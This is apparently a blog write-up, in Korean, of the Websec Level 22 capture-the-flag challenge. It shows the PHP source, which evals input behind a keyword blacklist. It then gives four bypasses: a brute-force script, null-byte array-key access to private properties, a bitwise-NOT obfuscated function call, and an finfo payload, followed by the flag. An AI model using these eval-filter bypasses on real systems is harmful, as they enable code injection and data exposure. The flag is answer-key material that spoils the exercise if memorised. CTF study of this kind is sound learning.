Post

Websec - Level 22 (풀이봄)

Websec 22



image


1
2
3
4
5
6
7
8
9
10
<?php 
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL ^ E_DEPRECATED);

if (isset ($_GET['code']) && is_string ($_GET['code'])) {
            $code = substr ($_GET['code'], 0, 21);
} else {
            $code = "'I hate PHP'";
}
?>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class A {
    public $pub;
    protected $pro ;
    private $pri;

    function __construct($pub, $pro, $pri) {
        $this->pub = $pub;
        $this->pro = $pro;
        $this->pri = $pri;
    }
}

include 'file_containing_the_flag_parts.php';
$a = new A($f1, $f2, $f3);

unset($f1);
unset($f2);
unset($f3);

$funcs_internal = get_defined_functions()['internal'];

/* lets allow some secure funcs here */
unset ($funcs_internal[array_search('strlen', $funcs_internal)]);
unset ($funcs_internal[array_search('print', $funcs_internal)]);
unset ($funcs_internal[array_search('strcmp', $funcs_internal)]);
unset ($funcs_internal[array_search('strncmp', $funcs_internal)]);

$funcs_extra = array ('eval', 'include', 'require', 'function');
$funny_chars = array ('\.', '\+', '-', '"', ';', '`', '\[', '\]');
$variables = array ('_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_FILES', '_ENV', 'HTTP_ENV_VARS', '_SESSION', 'GLOBALS');

$blacklist = array_merge($funcs_internal, $funcs_extra, $funny_chars, $variables);

$insecure = false;
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        $insecure = true;
        break;
    }
}

if ($insecure) {
    echo 'Insecure code detected!';
} else {
    eval ("echo $code;");
}
?>


1
2
<label for="code">Code:</label>
<input type="text" class="form-control" id="code" name="code" value="<?php echo htmlspecialchars ($code);?>" required maxlength=25>






Solution 1



php curly braces in array since php 7
lindevs.com/array-and-string-offset-access-with-curly-braces-has-been-removed-in-php-8-0/
stackoverflow.com/questions/8092248/php-curly-braces-in-array-notation
php 7.4부터는 사용하지 않고 php 8부터는 없어졌다고 함.


php 중괄호를 이용한 변수 해석
study-zone.tistory.com/42


php 변수 출력
pager.kr/x/index.php?mid=board_WsUz20&document_srl=1324


문자열 및 echo 출력
study-zone.tistory.com/41?category=232432
echo 에서 " " 안에서는 파싱을 하지만 ' ' 안에서는 특수문자, 변수 값을 파싱하지 않아 그대로 출력한다.


1
2
3
4
5
6
7
8
9
10
11
12
import requests

url='https://websec.fr/level22/index.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'session':'[redacted]'}

for i in range(0,10000):
	  payload={'code':'$blacklist{'+str(i)+'}'}
	  res=requests.get(url, headers=headers, cookies=cookies, params=payload)
	  if "var_dump" in res.text:
		    print(i)  # 582
		    break


$blacklist{582}에 var_dump 값이 있으므로 함수처럼 사용해서 $blacklist{582}($a)라 입력하면 echo var_dump($a)가 되므로 객체 $a의 값에 대한 정보를 출력해준다.


1
2
3
4
5
6
7
8
object(A)#1 (3) {
  ["pub"]=>
  string(17) "WEBSEC{But_I_was_"
  ["pro":protected]=>
  string(18) "told_that_OOP_was_"
  ["pri":"A":private]=>
  string(22) "flawless_and_stuff_:<}"
}


  • Flag : WEBSEC{But_I_was_told_that_OOP_was_flawless_and_stuff_:<}


풀이를 보니 다른 방법도 있다…!






Solution 2



처음에 주어진 객체 변수 $a를 출력하고자 하였으나 아래와 같은 에러가 떴다.
Recoverable fatal error: Object of class A could not be converted to string in /index.php(92) : eval()'d code on line 1

클래스 A의 객체를 문자열로 변환할 수 없다는 뜻이다. 즉, 문자열로 출력할 수 없다는 것.


php type casting
code.tutsplus.com/tutorials/php-type-casting-a-complete-guide–cms-38764


-는 필터링에 걸리므로 접근하는 것은 불가능하다. 따라서 배열로 형 변환 후 중괄호를 이용해 출력할 수 있다.

따라서 입력을 ((array)$a){'pub'}을 해주면 값이 출력된다.

하지만 여기서 다시 막혔다. private, protected 변수를 출력하고자 하니 에러가 뜬다.
Notice: Undefined index: pri in /index.php(92) : eval()'d code on line 1


찾아보니 스택오버플로우에서 게시글을 하나 보았다.
stackoverflow.com/questions/4345554/convert-a-php-object-to-an-associative-array

더 자세한 내용은 댓글에 있는 FAST PHP Object To Array Conversion 이라는 글을 보았다.


FAST PHP Object To Array Conversion
ocramius.github.io/blog/fast-php-object-to-array-conversion/ –> BEST EXPLAIN


요약하면 형 변환 시 깊게 형변환을 하는 것이 아니므로 public이 아닌 값에 접근하려면 널 바이트를 사용해야 한다.


1
2
3
4
5
6
7
8
9
10
class Person {
    public $Name = 'test1';
    protected $Age = '2';
    private $Income = '3';
}

$b = new Person();


var_export((array)$b);


1
2
3
4
5
array (
  'Name' => 'test1',
  '' . "\0" . '*' . "\0" . 'Age' => '2',
  '' . "\0" . 'Person' . "\0" . 'Income' => '3',
)


객체를 배열로 형변환 한 후 var_export 함수를 통해 살펴보면 위와 같은 결과가 나오게 되는 것이다.


그래서 pro 변수에 접근하고자 ((array)$a){'\0*\0pro'}를 입력하니 21글자가 최대여서 짤려서 값이 ((array)$a){'\0*\0pro까지만 들어간다.

보니까 널바이트 \0가 두 글자로 들어가는 듯하다. 따라서 url에 code 값에 널바이트를 인코딩하여 넣어주면 된다.
?code=((array)$a){'%00*%00pro'}

pri 값도 위에서 출력된 값을 이용해서 넣어주면 ((array)$a){'%00A%00pri'}가 된다.

따라서 변수들을 모두 출력해줄 수 있다.






Solution 3



PHP에서는 함수가 문자열 형태로 되어 있어도 호출할 수 있다고 한다.

예를 들어, system('ls');를 호출하고자 하면, "system"('ls');라고 해도 실행이 된다는 것이다.

이 점을 이용해서 풀 수 있다고 한다.


var_dump 함수를 호출하여 $a의 값을 읽어오는 코드를 짜면 된다.

하지만 문자열 그대로 입력하면 필터링에 걸리므로 이를 우회할 방법이 필요하다. 여기서 NOT 연산자를 이용한다.

NOT 연산자를 이용하면 ~~'a' == 'a'이므로 이를 이용하여 우회할 수 있다.

문제에서 code 값을 GET으로도 받으므로 urlencode를 하여 넣어주면 된다.

따라서 ~var_dump의 값을 urlencode를 한 뒤 그 값에 NOT 연산을 해주면 var_dump를 호출하게 되는 것이다.

페이로드는 아래와 같이 된다고 한다.
(~'%89%9E%8D%A0%9B%8A%92%8F')($a)







Solution 4



php finfo 클래스를 이용해 풀 수 있다.


php finfo
php.net/manual/en/class.finfo.php
php.net/manual/en/function.finfo-open.php/a> –> 생성자 부분


Payload : new finfo(0,'/')






This post is licensed under CC BY 4.0 by the author.